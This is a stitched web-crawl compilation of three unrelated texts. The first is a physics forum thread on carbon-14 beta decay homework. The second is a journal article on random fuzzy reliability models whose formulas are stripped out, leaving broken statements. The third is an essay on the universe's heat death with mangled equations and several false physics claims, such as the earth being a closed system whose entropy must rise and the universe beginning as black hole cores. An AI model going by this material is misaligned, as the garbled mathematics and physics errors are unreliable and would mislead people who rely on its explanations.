CC-MAIN-2018-05 | longest | en | 0.885036 |
https://www.physicsforums.com/threads/carbon-14-decay.362383/ | 1,553,546,261,000,000,000 | text/html | crawl-data/CC-MAIN-2019-13/segments/1552912204300.90/warc/CC-MAIN-20190325194225-20190325220225-00130.warc.gz | 854,828,235 | 14,738 | # Carbon-14 Decay
#### stephaniek
The radiocarbon in our bodies is one of the naturally occurring sources of radiation. Let's see how large a dose we receive. 14C decays via B- emission, and 18.0% of our body's mass is carbon.
a) Write out the decay scheme of carbon-14 and show the end product. (A neutrino is also produced.)
answer: 146C ------> e- + 147N + ve
b) Neglecting the effects of the neutrino, how much kinetic energy (in MeV ) is released per decay? The atomic mass of C-14 is 14.003242 u.
No idea where to begin tried using E = mc2 did not get the right answer.
c) How many grams of carbon are there in a 76.0 kg person?
no idea how to do this.
d) How many decays per second does this carbon produce? (Hint: Assume activity of C-14 is about 0.255 Bq per gram of carbon.)
Any help would be greatly appreciated.
#### hamster143
How many grams of carbon are there in a 76.0 kg person?
no idea how to do this.
Carbon is 18.0% of body mass. 76.0 times 18.0%.
How many decays per second does this carbon produce? (Hint: Assume activity of C-14 is about 0.255 Bq per gram of carbon.)
Look up the definition of Bq (Becquerel) in Wikipedia.
#### arivero
Gold Member
It seems that it is a problem allowing you to use tables. Obviously to use E=mc2 (how do you pretend use it, anyway?) you need the mass difference between carbon and nitrogen. The data of the atomic mass of C-14 is in part a need and in part a red herring (so naive people will try to apply E=mc2 to it, instead asking the tables for the atomic mass of N-14 too).
The radiocarbon in our bodies is one of the naturally occurring sources of radiation. Let's see how large a dose we receive. 14C decays via B- emission, and 18.0% of our body's mass is carbon.
a) Write out the decay scheme of carbon-14 and show the end product. (A neutrino is also produced.)
answer: 146C ------> e- + 147N + ve
b) Neglecting the effects of the neutrino, how much kinetic energy (in MeV ) is released per decay? The atomic mass of C-14 is 14.003242 u.
No idea where to begin tried using E = mc2 did not get the right answer.
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http://www.hindawi.com/journals/ddns/2014/625985/ | 1,438,349,797,000,000,000 | application/xhtml+xml | crawl-data/CC-MAIN-2015-32/segments/1438042988305.14/warc/CC-MAIN-20150728002308-00131-ip-10-236-191-2.ec2.internal.warc.gz | 497,509,029 | 113,146 | `Discrete Dynamics in Nature and SocietyVolume 2014 (2014), Article ID 625985, 15 pageshttp://dx.doi.org/10.1155/2014/625985`
Research Article
## Reliability Analysis of Random Fuzzy Unrepairable Systems
1Department of Computer Sciences, Tianjin University of Science and Technology, Tianjin 300222, China
2School of Management, Huazhong University of Science and Technology, Wuhan 430074, China
Received 15 February 2014; Revised 4 April 2014; Accepted 4 April 2014; Published 2 June 2014
Copyright © 2014 Ying Liu et al. This is an open access article distributed under the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited.
#### Abstract
The lifetimes of components in unrepairable systems are considered as random fuzzy variables since randomness and fuzziness are often merged with each other. Then we establish the fundamental mathematical models of random fuzzy unrepairable systems, including series systems, parallel systems, series-parallel systems, parallel-series systems, and cold standby systems with absolutely reliable conversion switches. Furthermore, the expressions of reliability and mean time to failure (MTTF) are given for the above five random fuzzy unrepairable systems, respectively. Finally, numerical examples are given to show the application in a lighting lamp system and a hi-fi system.
#### 1. Introduction
The conventional reliability theory has been successfully used for solving various reliability problems, in which the lifetimes of systems are assumed to be random variables and the system behavior can be fully characterized by probability theory. It is well-known that reliability and mean time to failure (MTTF) are good evaluations in unrepairable systems, where the reliability is defined by the probability of the random event “system is functioning at time ” and MTTF is the expected value of random lifetime of the system. The results on classical reliability theory can be referred to studies such as Barlow and Proschan [1], Dhillon and Singh [2], Epstein and Sobel [3], Gnedenko et al. [4], Kaufmann [5], Kapur and Lamberson [6], Natarajan [7], Ross [8], Sharma et al. [9], Lin and Yeh [10], Tian et al. [11], Marquez et al. [12], and Hsu et al. [13].
Although the traditional reliability theory has been proved to be effective in many cases, using probability method in engineering problems needs to have three basic premises: firstly, the events should be clearly defined; secondly, there should exist a large number of samples; and thirdly, the samples should have the probability of repetition. If the three premises do not hold, using probability theory to deal with the reliability problems has certain limitations. So fuzzy theory has been introduced to reliability theory by several authors. In 1975, Kaufmann [5] first used fuzzy theory in reliability engineering. Chowdhury and Misra [14] presented a method to find an expression of fuzzy system reliability of a nonseries parallel network taking into consideration the special requirements of fuzzy sets. Cai et al. [1518] introduced various forms of fuzzy reliability theories, including profust reliability theory, posbist reliability theory, and posfust reliability theory. Their studies can be considered by taking new assumptions, such as the possibility assumption or the fuzzy-state assumption, in place of the probability assumption or the binary-state assumption. Utkin [19, 20] discussed the fuzzy system reliability based on the binary-state assumption and possibility assumption and considered the fuzzy availability and unavailability and the fuzzy operative availability and unavailability. Utkin and Gurov [21] proposed a general approach on the basis of a system of functional equations according to Cai's theory. In Praba et al. [22], a new method for finding fuzzy system reliability using posfust reliability theory was demonstrated, where the system was modelled as a unified fuzzy Markov model. Cooman [23] introduced the notion of possibilistic structure function based on the concept of the classical two-valued structure function and studied the possibilistic uncertainty of the states of a system and its components. Huang [24] developed the fundamental calculation formulas of fuzzy reliability and established the fuzzy reliability models of unrepairable systems. Huang et al. [25] proposed a new method to determine the membership function of the estimates of the parameters and the reliability function of multiparameter lifetime distributions. In Liu et al. [26], reliability and performance assessment for fuzzy multistate elements were considered. Ding and Lisnianski [27] considered a multistate system where performance rates and corresponding state probabilities were presented as fuzzy values. Recently, Jiang and Chen [28] developed a computational model of fuzzy reliability focusing on solving the engineering problems with random general stress and fuzzy general strength. Zhang et al. [29] considered a fuzzy age-dependent replacement policy, in which the lifetimes of components were treated as fuzzy variables. Linda and Manic [30] considered interval type-2 fuzzy voter design for fault tolerant systems.
A more general case in practice is that randomness and fuzziness are merged with each other in one unrepairable system. Many researchers have paid attention to these problems. Wang and Watada [31] considered a renewal reward process with fuzzy random interarrival times and rewards under the -independence associated with any continuous Archimedean -norm. Based on using fuzzy random variables to characterize the lifetimes, Wang and Watada [32] studied the redundancy allocation problems to a fuzzy random parallel-series system. Adduri and Penmetsa [33] made system reliability analysis for mixed uncertain variables which contained both probability distributions and fuzzy membership functions. Utkin and Coolen [34] gave an overview of a lot of methods and models for reliability problems mixed with randomness and fuzziness. Utkin et al. [35] studied a simple one-unit system description in the probability and possibility contexts. According to the situation of randomness and fuzziness existing in the actual project, Li et al. [36] proposed a reliability-credibility model based on fuzzy theory, possibility theory, and credibility theory. Liu et al. [37] considered the fuzzy random reliability of structures based on fuzzy random variables. Random fuzzy theory proposed by Liu [38] mainly uses the average chance measure to evaluate the random fuzzy events. Although many measures proposed by researchers have been used to deal with the behavior of random fuzzy phenomena, they have no self-duality properties. However, a self-duality measure is absolutely needed in both theory and practice. Until today, few people have used random fuzzy theory as the basic mathematical tool to deal with reliability problems. For example, Zhao et al. [39] used random fuzzy theory into renewal process, which results were very useful in repairable system theory. Zhao and Liu [40] provided three types of system performances, in which the lifetimes of redundant systems were treated as random fuzzy variables. Since the important figures of merit for repairable systems were the limited availability, steady state failure frequency, mean time between failures, and mean time to repair, Liu et al. [41] gave the reliability analysis of a random fuzzy repairable series system with independent components. In most cases, the components in the system were dependent. So Liu et al. [42] considered two dependent components, established a random fuzzy shock model and a random fuzzy fatal shock model, and studied the bivariate random fuzzy exponential distribution.
The topic of unrepairable system is an important content in system reliability theory. There are many reasons cannot be repaired, some because of technical reasons, cannot repair; some because of economic reasons, not worth to repair; and some because of making repairable system simplification. In this paper, random fuzzy variables are employed to represent uncertain lifetimes of components in the unrepairable systems. We establish the fundamental mathematical models of random fuzzy unrepairable systems, including series systems, parallel systems, series-parallel systems, parallel-series systems, and cold standby systems with absolutely reliable conversion switches. Furthermore, the expressions of reliability and MTTF are given for the above five systems, respectively. The expressions of reliability and MTTF of the random fuzzy unrepairable systems we arrived at are suitable for stochastic cases and fuzzy cases, which shows that the reliability mathematical models and results in this paper generalize the traditional reliability theory.
The rest of this paper is organized as follows. In Section 2, we recall some basic concepts on fuzzy variables and random fuzzy variables. In Section 3, we establish the fundamental mathematical models of random fuzzy unrepairable systems and give the expressions of reliability and MTTF for each system. Some examples are also presented to illustrate how to calculate the reliability and MTTF of given unrepairable systems, in which the lifetimes of components follow certain probability distributions with fuzzy parameters. In Section 4, the application in a lighting lamp system and a hi-fi system is presented.
#### 2. Fuzzy Variables and Random Fuzzy Variables
In this section, we first introduce some basic concepts of fuzzy variables based on the credibility measure.
Definition 1 (B. Liu and Y.-K. Liu [43]). Let be a nonempty set and let be the power set of . The set function is called a credibility measure if it satisfies the following four axioms.
Axiom 1. Consider .
Axiom 2. is increasing; that is, whenever .
Axiom 3. is self-dual; that is, for any .
Axiom 4. Consider for any with .
Definition 2 (Liu [44]). A fuzzy variable is defined as a function from the credibility space to the set of real numbers.
Definition 3 (Liu [44]). Let be a fuzzy variable defined on the credibility space . Then its membership function is derived from the credibility measure by
Definition 4 (Liu [44]). A fuzzy variable is said to be positive if .
Definition 5 (Liu [45]). Let be a fuzzy variable and . Then are called the -pessimistic value and the -optimistic value of , respectively.
Definition 6 (B. Liu and Y.-K. Liu [43]). Let be a fuzzy variable. The expected value is defined as provided that at least one of the two integrals is finite. In particular, if is a positive fuzzy variable, then .
Proposition 7 (Y.-K. Liu and B. Liu [46]). Let be a fuzzy variable with finite expected value ; then one has where and are the -pessimistic value and the -optimistic value of , respectively.
Definition 8 (Liu [44]). The fuzzy variables are said to be independent if for any sets of .
Proposition 9 (Y.-K. Liu and B. Liu [46] and Zhao et al. [39]). Let and be two independent fuzzy variables. Then (i) for any , ; (ii) for any , .
Furthermore, if and are positive, then (iii) for any , ;(iv) for any , .
The concept of the random fuzzy variable was given by Liu [45]. Let be a probability space and a collection of random variables. A random fuzzy variable is defined as a function from a credibility space to a collection of random variables .
Proposition 10 (Liu [38]). Let be a random fuzzy variable on the credibility space . Then, for , one has (1) is a fuzzy variable for any Borel set of ;(2) is a fuzzy variable provided that is finite for any fixed .
Example 11. A random fuzzy variable is said to be exponential if for each , is an exponentially distributed random variable whose density function is defined as where is a positive fuzzy variable defined on the space . An exponentially distributed random fuzzy variable is denoted by , and the fuzziness of random fuzzy variable is said to be characterized by fuzzy variable . It follows from Proposition 10 that and are fuzzy variables. We can arrive at and .
Definition 12 (Y.-K. Liu and B. Liu [46]). Let be a random fuzzy variable defined on the credibility space . Then the expected value is defined by provided that at least one of the two integrals is finite. In particular, if is a positive fuzzy variable, then .
Definition 13 (Y.-K. Liu and B. Liu [47]). Let be a random fuzzy variable. Then the average chance, denoted by , of random fuzzy event characterized by is defined as
Remark 14. If degenerates to a random variable, then the average chance degenerates to , which is just the probability of random event. If degenerates to a fuzzy variable, then the average chance degenerates to , which is just the credibility of fuzzy event.
Finally, we refer to a definition on the stochastic ordering which is usually employed in the comparison of the lifetimes of systems.
Definition 15 (Ross [48]). A collection of random variables is said to be a totally ordered set with stochastic ordering if and only if, for any given , and , either or
Remark 16 (Ross [48]). For any given , we have
#### 3. Random Fuzzy Unrepairable Systems
In this section, we first define the reliability and MTTF of random fuzzy unrepairable systems. Then the reliability and MTTF of random fuzzy series systems, parallel systems, series-parallel systems, parallel-series systems, and cold standby systems are discussed, respectively.
Definition 17. Let be the random fuzzy lifetime of an unrepairable system, which is defined on the credibility space ; then the reliability of the unrepairable system is defined by
Definition 18. Let be the random fuzzy lifetime of an unrepairable system, which is defined on the credibility space ; then MTTF of the unrepairable system is defined by
##### 3.1. Reliability Analysis of Random Fuzzy Unrepairable Series Systems
Consider a series system composed of independent components. Let be the lifetime of component , which is a random fuzzy variable on the credibility space , . Obviously, the lifetime of the series system is , which is a random fuzzy variable on the product credibility space , where and .
Theorem 19. Let , be random fuzzy variables. Assume that the -pessimistic values and the -optimistic values of , , are continuous at the point , . The reliability of random fuzzy series system is
Proof. By Definitions 13 and 17 and Proposition 7, we have
Let , . Since the -pessimistic values and the -optimistic values of fuzzy variables , , , are continuous at the point , , then there exist maximum and minimum values; that is, at least there exist points such that
For any , we have
Hence, by Remark 16, we have
It follows from Definition 15 that
It is easy to see that that is,
Since are arbitrary points in , , by (21), we have
On the other hand, by (19), we have
By (22) and (23), we have
By (15) and (24), we have which completes the proof.
Remark 20. If , , degenerate to random variables, the result in Theorem 19 degenerates to the form which is consistent with the result in stochastic case (see Barlow and Proschan [1]).
Remark 21. If , , degenerate to fuzzy variables, the result in Theorem 19 degenerates to the form which is consistent with the result in fuzzy case (see Liu and Zhu [49]).
Theorem 22. Let , , be random fuzzy variables. Assume that the -pessimistic values and the -optimistic values of , , are continuous at the point , . The of the series system is
Proof. By Definition 18 and Proposition 7, we have
By (21), we know that
It follows from Remark 16 that
Since are arbitrary points in , , we have
It follows from (23), (29), and (32) that
The theorem is proved.
Remark 23. If , , degenerate to random variables, the result in Theorem 22 degenerates to the form in which is the reliability of series system in stochastic case.
Remark 24. If , , degenerate to fuzzy variables, the result in Theorem 22 degenerates to the form in which is the reliability of series system in fuzzy case.
Example 25. If the random fuzzy variable , where is a fuzzy variable on , , then we can arrive at
By Theorems 19 and 22, we have in which “” is the expected value operator of fuzzy variable.
##### 3.2. Reliability Analysis of Random Fuzzy Unrepairable Parallel Systems
Consider a parallel system composed of independent components. Let be the lifetime of component , which is a random fuzzy variable on the credibility space , . Obviously, the lifetime of the parallel system is , which is a random fuzzy variable on the product credibility space , where and .
Theorem 26. Let , , be random fuzzy variables. Assume that the -pessimistic values and the -optimistic values of , , are continuous at the point , . The reliability of the random fuzzy parallel system is
Proof. By Definitions 13 and 17 and Proposition 7, we have
Let , . Since the -pessimistic values and the -optimistic values of fuzzy variables , , , are continuous at the point , , then there exist maximum and minimum values; that is, at least there exist points such that
For any , we have
Hence, by Remark 16 we have
It follows from Definition 15 that
It is easy to see that that is,
Since are arbitrary points in , , by (45), we have
On the other hand, by (19), we have
By (46) and (47), we have
By (39) and (48) we have
which completes the proof.
Remark 27. If , , degenerate to random variables, the result in Theorem 26 degenerates to the form which is consistent with the result in stochastic case (see Barlow and Proschan [1]).
Remark 28. If , , degenerate to fuzzy variables, the result in Theorem 26 degenerates to the form which is consistent with the result in fuzzy case (see Liu and Zhu [49]).
Theorem 29. Let , , be random fuzzy variables. Assume that the -pessimistic values and the -optimistic values of , , are continuous at the point , . The of the parallel system is
Proof. By Definition 18 and Proposition 7, we can see
By (45), we know that
It follows from Remark 16 that
Since are arbitrary points in , , we have
It follows from (47), (53), and (56) that
The theorem is proved.
Remark 30. If , , degenerate to random variables, the result in Theorem 29 degenerates to the form in which is the reliability of parallel system in stochastic case.
Remark 31. If , , degenerate to fuzzy variables, the result in Theorem 29 degenerates to the form in which is the reliability of parallel system in fuzzy case.
Example 32. If the random fuzzy variable , where is a fuzzy variable on , , then we can arrive at
By Theorems 26 and 29, we have in which “” is the expected value operator of fuzzy variable.
##### 3.3. Reliability Analysis of Random Fuzzy Unrepairable Series-Parallel Systems
Consider a series-parallel system which is a series system of subsystems; each subsystem is composed of parallel components. Let be the lifetime of component in th subsystem, which is a random fuzzy variable on the credibility space , , . We assume the components are mutually independent. It is easy to know that the lifetime of the series-parallel system is , which is a random fuzzy variable on the product credibility space , where and .
Theorem 33. Let , , , be random fuzzy variables. Assume that the -pessimistic values and the -optimistic values of , , , are continuous at the point , . The reliability of the series-parallel system is
Remark 34. If , , , degenerate to random variables, the result in Theorem 33 degenerates to the form which is consistent with the result in stochastic case (see Barlow and Proschan [1]).
Remark 35. If , , , degenerate to fuzzy variables, the result in Theorem 33 degenerates to the form which is consistent with the result in fuzzy case (see Liu and Zhu [49]).
Theorem 36. Let , , , be random fuzzy variables. Assume that the -pessimistic values and the -optimistic values of , , , are continuous at the point , . The of the random fuzzy series-parallel system is
Remark 37. If , , , degenerate to random variables, the result in Theorem 36 degenerates to the form in which is the reliability of series-parallel system in stochastic case.
Remark 38. If , , , degenerate to fuzzy variables, the result in Theorem 36 degenerates to the form in which is the reliability of series-parallel system in fuzzy case.
##### 3.4. Reliability Analysis of Random Fuzzy Unrepairable Parallel-Series Systems
Consider a parallel-series system which is a parallel system of subsystems; each subsystem is composed of series components. Let be the lifetime of component in th subsystem, which is a random fuzzy variable on the credibility space , , . We assume the components are mutually independent. It is easy to know that the lifetime of the parallel-series system is , which is a random fuzzy variable on the product credibility space , where and .
Theorem 39. Let , , , be random fuzzy variables. Assume that the -pessimistic values and the -optimistic values of , , , are continuous at the point , . The reliability of the parallel-series system is
Remark 40. If , , , degenerate to random variables, the result in Theorem 39 degenerates to the form which is consistent with the result in stochastic case (see Barlow and Proschan [1]).
Remark 41. If , , , degenerate to fuzzy variables, the result in Theorem 39 degenerates to the form which is consistent with the result in fuzzy case (see Liu and Zhu [49]).
Theorem 42. Let , , , be random fuzzy variables. Assume that the -pessimistic values and the -optimistic values of , , , are continuous at the point , . The of the random fuzzy parallel-series system is
Remark 43. If , , , degenerate to random variables, the result in Theorem 42 degenerates to the form in which is the reliability of parallel-series system in stochastic case.
Remark 44. If , , , degenerate to fuzzy variables, the result in Theorem 42 degenerates to the form in which is the reliability of parallel-series system in fuzzy case.
##### 3.5. Reliability Analysis of Random fuzzy Unrepairable Cold Standby Systems
Consider a cold standby system composed of independent components, in which only one component is in operation. If the operating component fails, it will be replaced by another component. Suppose that the failed components are unrepairable and the components in standby do not deteriorate. The failure state of the system occurs only when there is no operative component left. We also assume that the switching mechanism is absolutely reliable. Let be the lifetime of component , which is a random fuzzy variable on the credibility space , . The lifetime of the cold standby system can be expressed by the sum of the reliability of components; that is, , which is a random fuzzy variable on the product credibility space , where and .
Theorem 45. Let , , be random fuzzy variables. Assume that the -pessimistic values and the -optimistic values of , , are continuous at the point , . The reliability of random fuzzy cold standby system is
Proof. By Definitions 13 and 17 and Proposition 7, we have
which completes the proof.
Remark 46. If , , degenerate to random variables, the result in Theorem 45 degenerates to the form which is consistent with the result in stochastic case (see Barlow and Proschan [1]).
Remark 47. If , , degenerate to fuzzy variables, the result in Theorem 45 degenerates to the form which is consistent with the result in fuzzy case (see Liu and Zhu [49]).
Theorem 48. Let , , be random fuzzy variables. Assume that the -pessimistic values and the -optimistic values of , , are continuous at the point , . The of the cold standby system is
Proof. By Definition 18 and Proposition 7, we can see
Let , . Since the -pessimistic values and the -optimistic values of fuzzy variables , , , are continuous at the point , , then there exist maximum and minimum values; that is, at least there exist points such that
For any , , we have
Hence, by Remark 16 we have
Then It follows from Remark 16 that
Since are arbitrary points in , , we have
It follows from (79) and (85) that
On the other hand, by (83) and Definition 15, we have
Since are arbitrary points in , , we have
It follows from (86) and (88) that | 5,297 | 24,183 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.515625 | 3 | CC-MAIN-2015-32 | longest | en | 0.906093 |
https://www.expertsmind.com/blog/post/heat-death-of-the-universe-7251.aspx | 1,716,267,078,000,000,000 | text/html | crawl-data/CC-MAIN-2024-22/segments/1715971058383.61/warc/CC-MAIN-20240521025434-20240521055434-00079.warc.gz | 667,505,496 | 15,652 | ### Heat Death of the Universe
Heat death of the universe - Paper
The heat death of universe is a state when the Entropy of a system goes maximum. Entropy is nothing but degree of disorder in a system, i.e., higher the entropy more the disorder in a system. From the Second law of Thermodynamics we can interpret that total entropy of any isolated system won't decrease whatever the change is. The entropy will only increase. Since the earth is considered as a closed system in thermodynamics, the entropy of the earth is keep on increasing according to the second law. At one point of time the universe will reach a state of maximum entropy, i.e., all the higher energy moves towards lower energy. When this happens work is impossible to be extracted from any source of heat because the heat stops to flow. Thus the universe will get into a state of complete equilibrium and no work can be done. So the universe will be dead and impossible for humankind to continue their survival
1) INTRODUCTION :
We don't have a clear knowledge about the universe i.e., we cannot confidently assert that none of the external forces influencing the universe or may be considered as a system in thermodynamics. By second law of thermodynamics we know that the ENTROPY of closed system always tends to maximum, since universe comes under the category of closed (isolated) system and if this was true ,then the universe entropy will reach maximum and it will attain a state of equilibrium. Then no energy like heat, electrical, mechanical would be available for purpose. This critical state is known as HEAT DEATH OF UNIVERSE. Although we don't have any proof ,this was the first concept to know the finiteness of the universe
2) LITERATURE REVIEW :
The False believe that every types of energy in the universe should finally become energy of thermal motion. Then all the energy would be distributed uniformly throughout
The universe and all big processes would come to halt.
This belief was hunched by R. Clausius by second law of thermodynamics. We know according to second law of thermodynamics ,the system existing in physical state won't exchange their energy with other systems tending towards an stable equilibrium state that is a state of maximum entropy , this state is known as the heat death of universe.
Before the development of cosmology, many attempts were done in order to disapprove the idea in the heat death of the universe. The most important among that was the fluctuation hypothesis by L. Boltzmann. By considering his hypothesis he said that the universe is already in an isothermal state but by law of chance occurrences deviations occur from that equilibrium state at times in one place or another. If a region is more encompassed by the deviations then since it has higher degree of deviation, the frequency of deviation is less
After the cosmology developed it revealed that not only the idea of the heat death of the universe but also the previous attempts to refute the idea are false. Because most important physical factors, gravitation is not considered. While we consider the effect of gravitation, the uniform isothermal distribution of matter is not possible and it won't correspond to maximum entropy. Results show that the universe is in a non-steady-state that is it's expanding stated by the big bang theory. The core which was homogeneous before expanding , broken up into individual objects as time passes, due to the action of gravitational forces, making galactic clusters, galaxies, stars, and planets. These things have happened naturally and it is not violating the laws of thermodynamics. Thus in the future too if the gravitation is taken into account it will not take universe into heat death but the universe will always expand and it is non-static.
Now we will consider the article by MattProle , he says that this heat death depends on the idea that Entropy must always increase but if we note any decrease in the entropy it is only because of increase of it at some other place in the universe. According to him if the entropy increases there will be also the decrease of free energy which is available in the universe. This is because the states of higher order possessed by the isolated system tends to move towards the lesser order and greater entropy mostly by form of heat, which cannot be easily converted into useful potential energy. He states that he has no interest in the statement of second law of thermodynamics because he was satisfied by the statistical approach , that states merely the entropy increase or making the available states more heterogeneous and less homogeneous is not an likely process in case of larger number of molecular aggregates. It is just a prediction or probability. A state when we first trap a large number of gas molecules in a room with no restriction to it, it will be gradually developing towards a homogeneous state. The reason for it is the molecules don't form a trajectory path , this can be easily understood by us , this is a description of what is going to take place instead of saying it will take place.
He also adds the discussion taking into universe describing that universe supposed to have 10^80 atoms. This atom has expanded from a state of very high density during of which the universe has been made with a solar system, and life. But if the universe consistently expands then it will increase its entropy along with its potential energy which is sustaining the human life on it. From the second law of thermodynamics we can also know it is impossible for our universe to again aggregate into higher lower state which means universe will die.
But most important think to be noted from his article is he states that saying impossible to decrease the entropy is an erroneous assumption. If we look at it from statistical point of view we would come to that we could potentially get back to the lower entropy state if very large enough time is given for the change to take place. At last he concludes that if we give enough time the entropy will decrease and also substantially it will make universe a place of life.
3) BIG BANG THEORY :
The origin of universe is explained by the big bang theory. This theory states that the universe is formed by expansion of hot dense state and it also expands today too. This theory explains the origin of universe from its beginning. The big bang of universe according to this theory is happened 13.77 billion years ago. Hence after that the universe started to expand and release the subatomic particles like protons neutrons and electrons.
We don't know from where and how did our universe formed. But they are thought to be in a form of core of black holes commencing into existence 13.7 billion years ago. Those black holes are intense gravitational pressure areas. That pressure is so intense to make that finite matter into infinite density. This infinite zone is known as singularities. This after its appearance began to expand and then cooled and again expanded from very tiny size to size of current universe. It haven't stopped and it continues to expand and cool consistently having all the human beings inside it, also having huge amount of magnificent stars which all came from a unknown small infinite dense core.
COMMON MISCONCEPTIONS IN BIG BANG THEORY :
? First one is everyone does think that there was an explosion but actually the scientist say that there wasn't any explosion but only expansion from a small ball sized shape to the shape it is now
? One more is the singularity mentioned above is thought as the already born in space but it is wrong. Many experts say that the space hasn't formed before the big bang. The three British scientists, Steven Hawking, Roger Penrose and George Ellis, published paper related to notions of time by which they extended the concept of the Einstein's Theory of relativity . By their calculations they came to a conclusion that the time and space appeared only after the singularity i.e., from the singularity. From which came the time energy space etc., before that nothing existed. But yet the mystery about how the singularity has been formed is unsolved
4) BIG BANG TO HEAT DEATH:
Graphically depicts the timeline of universe from bigbang to Heat death.
5) SECOND LAW OF THERMODYNAMICS :
We know that the first law of thermodynamics is the energy conservation principle. For a process to occur it must satisfy the first law of thermodynamics. But that alone is not enough to say that a process is feasible or not.
Now this can be understood by taking the following example, consider a cup of hot tea placed on the table, the tea will get cooled by losing heat to the surrounding air, by first law the energy lost by the tea is gained by air and hence the energy is conserved. But the same can't be reversed that is the tea won't or can't get heat from the surrounding air even though the first law gets satisfied. Thus the process is not reversible. Also we can come to a conclusion that first law alone is not enough to predict the process occurrence we also need another law to predict it. So there comes the second law which gives the possible direction of the process. So a process can occur only if it satisfies both the first and the second law of thermodynamics. The violation of the law can be easily identified by the property called entropy. The second law of thermodynamics is also used to know the efficiency of the systems like heat engines, refrigerators.
In the second law a most important thing is a thermal energy reservoir, that is an imaginary body with high thermal capacity and it can supply heat without reduction in its temperature. For example our atmosphere is a thermal reservoir which doesn't get warm up because of heat losses from the surrounding during winter. Like the same oceans, rivers are all bodies with large theral capacity.
A reservoir that supplies heat is known as source and the one that absorbs energy in the form of heat is known as sink. In order to transfer heat into work the device known as heat engines are found.
There are two main statements related to the second law of thermodynamics, they are
? Kelvin-Planck Statement
? Clausius Statement
KELVIN-PLANCK STATEMENT:
It is impossible for any device that operates on a cycle to receive heat from a single reservoir and produce a net amount of work.
It states that a single reservoir heat source can't do the complete cycle producing work , a lower temperature sink is required to make the flow of heat. From this we can also know that no heat engine produces 100%efficient energy some energy is rejected out always. This statement is for heat engines
CLAUSIUS STATEMENT:
It is impossible to construct a device that operates in a cycle and produces
no effect other than the transfer of heat from a lower-temperature body to a
higher-temperature body.
This statement is related to the heat pumps and refrigerators. It states that heat can be transferred from the low temperature sink to high temperature reservoir only if an external work is given to it unless the heat transfer is impossible.
6) ENTROPY :
What is entropy? The mostly heard answer for this question is that it is a kind of measure of order. But this is wrong. When we equate entropy with disorder it will create chaos in entropy of different systems. Let's take example of following cases
? A bunch of play cards in exact order or the same in random order
? 10 ice blocks kept on a table or the same equivalent mass of water in a bottle kept at some place in space
? Our universe at the beginning of the Big Bang or the universe at the present now
If we consider entropy as a disorder then the answer to the following questions will be a trouble
ENTROPY ACCORDING TO THE CLASSICAL THERMODYNAMICS:
If we look for the origin of the entropy, its concept is actually originated from mid-century by the study of heat, work, energy and temperature, which is known as thermodynamics . That period is steam engine Era and interest of people is around converting heat into mechanical work. They found that there is a relation between the heat and temperature, the more an object gets heated higher the temperature. They found that heat always flow from hot body to cold body and their objective is to find a way to extract work from the flow of heat
One of trouble during their analysis is they couldn't find the amount of heat content in the reservoir or to know how much heat could be extracted from the reservoir. Thus the heat content couldn't be measured directly they were able to measure only the temperature of the reservoir. So if we know a relation between the temperature and the heat content we can easily know the heat content in reservoir. If the temperature is reduced to zero then the heat content is also reduced to zero so there is a ratio relationship between them which will be ratio that is defined as ENTROPY. Entropy is simply relation between the heat content and the temperature
S=Q/T
S=Entropy
Q=Heat stored
T=temperature of object
SIGNIFICANCE OF ENTROPY IN CLASSICAL THERMODYNAMICS:
Thus as we already discussed above the significance of the entropy in these heat engines is to find the amount of heat content in the system depending on the temperature. If there is a change in entropy of a system somewhere a similar energy would have released or absorbed. That is when converting heat into work by passing it into a cold reservoir, we have to look for the cold reservoir capacity such that it doesn't get heated up nor the hot reservoir should lose its heat energy. So if we maintain this temperature difference than heat will flow continuously producing mechanical work. So we need entropy in order to maintain this
7) NATURE OF ENTROPY:
From the second law of thermodynamics we always get lot of inequalities. A process which is irreversible is always less efficient than a reversible one. Another important inequality that has major consequences in thermodynamics is the Clausius inequality, stated by the German physicist R. J. E. Clausius (1822-1888),one of the founders of thermodynamics, and is expressed that the cyclic integral of dQ/T is always less than or equal to zero. This is valid for the reversible and also irreversible process
Now let's look on the relation of entropy, we know that the cyclic integral of work is not zero, if it is we can't get any work out of heat engines working in cycle. For heat also the cyclic integral is not zero . But now let's take example of a cylinder with volume of gas in it. After the expansion and returning back to original position, there is no change in the volume and hence its cyclic integral is zero. A quantity which has cyclic integral zero depends upon state only and it is a property since it doesn't follow property path. Thus the ENTROPY is a property and can be expressed as
dS = (δQ/T)int rev (KJ/K)
The entropy change for a process or a cycle can be determined between the two states S1 and S2 by the following expression
ΔS = S2 - S1 = 12 (δQ/T)int rev
THE INCREASE OF ENTROPY PRINCIPLE :
In order to understand this lets take an example of two process 1-2 and process 2-1 ,
Which are internally reversible.
From the Clausius inequality,
∫ (δQ/T) <= 0
Or
12 (δQ/T) + 12 (δQ/T)int rev
The second integral in the previous relation is recognized as the entropy
change S1 _ S2. Therefore,
12 (δQ/T) + S1- S2 <= 0
which can be rearranged as
S2 - S1 = 12 (δQ/T)
It can also be expressed in differential form as
dS >= δQ/T
This above equality is valid only for internally reversible process also for an irreversible process of inequality. From this we can conclude that entropy change of a closed system during an irreversible process is greater than the integral of dQ/T evaluated for that process. Also the T in the above relation indicates thermodynamic temperature at the boundary and the dQ is the differential heat that is transferred between the system and surroundings
The quantity S2-S1 represents the entropy change of the system . This change becomes equal to for an reversible process and this represents entropy transfer with heat . In the preceding relations the inequality sign is a constant indicating that the entropy change of a closed system Is always greater than the entropy transfer during an irreversible process. Because of the presence of irreversibility's entropy is generated in an irreversible process. This entropy generated is known as ENTROPY GENERATION and it is denoted by Sgen . By considering the variation between the entropy change of a closed system and also the entropy transfer is equal to entropy generation , so the equation
S2 - S1 >= 12 (δQ/T)
can be written as
ΔSsys=S2 - S1 = 12 (δQ/T) + Sgen
The entropy generation Sgen is always a positive value i.e., greater than or equal to zero. It is not a property of the system as its value depends on the process. Also if there is no entropy transfer the entropy change of system is equals to entropy generation
So for an isolated system the equation can be written as
S2 - S1 >= 12 (δQ/T)
ΔSisolated >= 0
